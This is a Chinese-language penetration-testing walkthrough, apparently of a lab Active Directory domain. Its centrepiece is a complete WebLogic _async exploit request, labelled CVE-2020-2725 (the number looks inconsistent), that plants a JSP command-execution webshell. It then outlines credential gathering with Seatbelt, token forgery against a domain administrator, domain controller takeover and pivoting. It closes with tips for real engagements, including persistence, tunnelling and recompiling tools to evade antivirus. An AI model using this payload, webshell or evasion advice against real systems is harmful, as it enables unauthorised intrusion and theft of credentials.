在实际过程中,信息收集决定你攻击的深度,信息量越大对以后渗透越有帮助! 可以通过下面的工具进行资产的大致排查,实际环境应该要涉及的信息收集会广,通常在对于端口探测时,要结合多种工具进行探测,实现异构防止误报,在对各工具的结果进行筛选后,得到最终结果!
先通过CVE-2020-2725,上传一个CMD马,获得WebShell,Payload如下:
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.111.80:7001
Content-Length: 1101
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string><void method="println"><string><![CDATA[
<%
if("loecho".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>]]>
</string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
查看进程,先维持权限,信息收集,摸清楚网络结构
查看网络环境,存在域环境,de1ay.com,Ping一下获得域控IP,网络环境大致为:10.10.10/24段为内网IP
对服务器进行详细的信息收集,尝试抓取各类密码:
- 通过<a>seatbelt</a>进行详细的信息收集: **seatbelt.exe -group=all -full**
收集域信息,得到结果:
接下来我们查看域内机器,域管理员,域组账户,等等
通过筛选PID,我们找到域管理员的PID进程,进行伪造Token,因为已经抓取到明文密码了,也可以生成Token,直接上线,方式很多,我使用假设没有抓到密码的情况
得到Token后,看一下是否能共享文件:
可以伪造成功,可以共享文件:
上线域控,我们通过Web服务器进行中转流量,以后的机器流量都通过Web服务进行跳板:
域内机器已经全部上线,是信息收集和权限维持非常重要
在真实环境中,环境相比来说会很大很复杂,可能会需要多层跳板机来进入到关键部分,测试时通过ping
curl
nc
neskloop
等,来判断具体出网情况,来打隧道,建立跳板
同时我们要维持好自己手中的机器,上一台维持一台收集一台
完全收集完后,在进行下一步,每部权限都要维持好,以免大批量横向时
HW中,当我们在有了大批量机器时,一定要收集好信息,翻找文件,为下一步深入做铺垫,直到拿下核心资产
在真实环境中,我们在拿到一部分机器时,我通常会先信息收集,在小范围探测,拿下小范围机器后,在进行大范围横向,
对各类工具,要进行免杀处理,修改下源码或者重新编译一下